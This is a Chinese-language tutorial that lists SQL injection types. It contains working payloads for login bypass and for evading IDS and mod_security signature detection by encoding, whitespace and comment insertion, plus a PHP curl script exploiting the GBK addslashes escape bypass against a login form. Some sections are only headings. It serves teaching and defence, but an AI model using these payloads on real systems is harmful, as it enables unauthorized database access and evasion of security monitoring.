* SQL注入类型
1. 字符串未过滤(Poorly Filtered Strings)
2. 不正确的类型处理(Incorrect Type Handling)
3. 签名(特征)规避(Signature Evasion)
4. 逃避过滤(Filter Bypassing)
5. 盲注(Blind SQL Injection)
*字符串未过滤(Poorly Filtered Strings)
未过滤用户输入,用户输入直接传入SQL语句中,从而导致用户可以操作数据库
可被注入的例子代码
$pass = $_GET['pass'];
$password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';");
如果用户输入
' OR 1 = 1 /*
实际执行
SELECT password FROM users WHERE password = '' OR 1 = 1 /*
就可以绕过密码验证
*不正确的类型处理(Incorrect Type Handling)
未对输入做类型限制,一个不会被注入的例子如下:
<span style="font-size:12px;">(is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1;
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );</span>
处理后可以保证id始终是数字
*签名(特征)规避(Signature Evasion)
有一些入侵检测工具会利用签名来检测SQL注入,有多种方法可以绕过签名检测,如:
不同的编码
方法1 URL encoding(Different Encoding),如
NULL OR 1 = 1/*
转为
NULL+OR+1%3D1%2F%2A
如果IDS系统没有改签名规则,就可以绕过
方法2 空白字符替换(White Space Multiplicity)
空白字符技术(spacing techniques),如tabs, new lines/carriage和一些其他的空白方式。
如检测"OR ",可以利用new line来作为空白字符,在URL中可以利用%0a,例子:
NULL OR 'value'='value'/*
用new line替换后
NULL%0aOR%0a'value'='value'/*
对于server来说,它会是这样的:
NULL
OR
'value'='value'/*
上面的这段语句会绕过IDS的检测,并且在MySQL server中执行
方法3:任意的字符patterns(Arbitrary String Patterns)
MySQL中可以在查询语句中插入/* */的的注释,这些注释就可以逃避对常用关键字如UNION,OR等的检测,如下面这段语句会被检测到
NULL UNION ALL SELECT user,pass, FROM user_db WHERE user LIKE '%admin%/*
但是同样的IDS对于插入注释的关键字则不会被检测到
NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FROM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'//
上面这个例子可以绕过IPS如
Apache的mod_security的常规检测。IDS是能够检测到/* */字符串,但是有些博客、新闻站点需要用到/* */字符串,如果过滤注释字符串,则会出现问题
*逃避过滤(Filter Bypassing)
addslashes() & magic_quotes_gpc
在SQL系统采用某些特定的字符集时,如GBK,过滤函数addslashes() 和 magic_quotes_gpc 可以被bypass,
在GBK中,16进制
0xbf27 不是一个有效的多字节字符,但0xbf5c 是有效的,如果字符是通过单字节构造的,那么0xbf5c 是0x5c (\),0xbf27 是0xbf (¿)和0x27 (').
当用addslashes()函数和magic_quotes_gpc 开启的时候,单引号(')会用backslash (\) 来转义。因此,我们可以用0xbf27来bypass转义。通过注入16进制代码,addslashes()会将0xbf27 转义为0xbf5c27,0xbf5c27是多字节字符0xbf5c( ¿)和一个未经转义的字符0x27 (').换句话说,0xbf5c 被认为是一个多字节字符,注意是一个字符,所以转义就失效了。
虽然addslashes()和magic_quotes_gpc 通常被认为是安全的,但是在使用GBK字符集的情况下就失去了作用。下面是一段PHP的例子
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
mysql_real_escape_string()
*盲注(Blind SQL Injection)
有时系统是可以注入的,但是在页面上看不到任何的报错信息和数据库字段,这类注入被称为盲注。盲注分为部分盲注和完全盲注。
部分盲注的意思是,当注入发生时,你可以看到页面的变化,例如注入失败跳转到主页,注入成功则返回一个空白页面
完全盲注则是注入成功和失败,输出没有任何变化。这类注入相对来说会更难验证注入是否成功注入,但是还是可以注入的
MySQL BENCHMARK
MSSQL WAITFOR DELAY
PostgreSQL pg_sleep()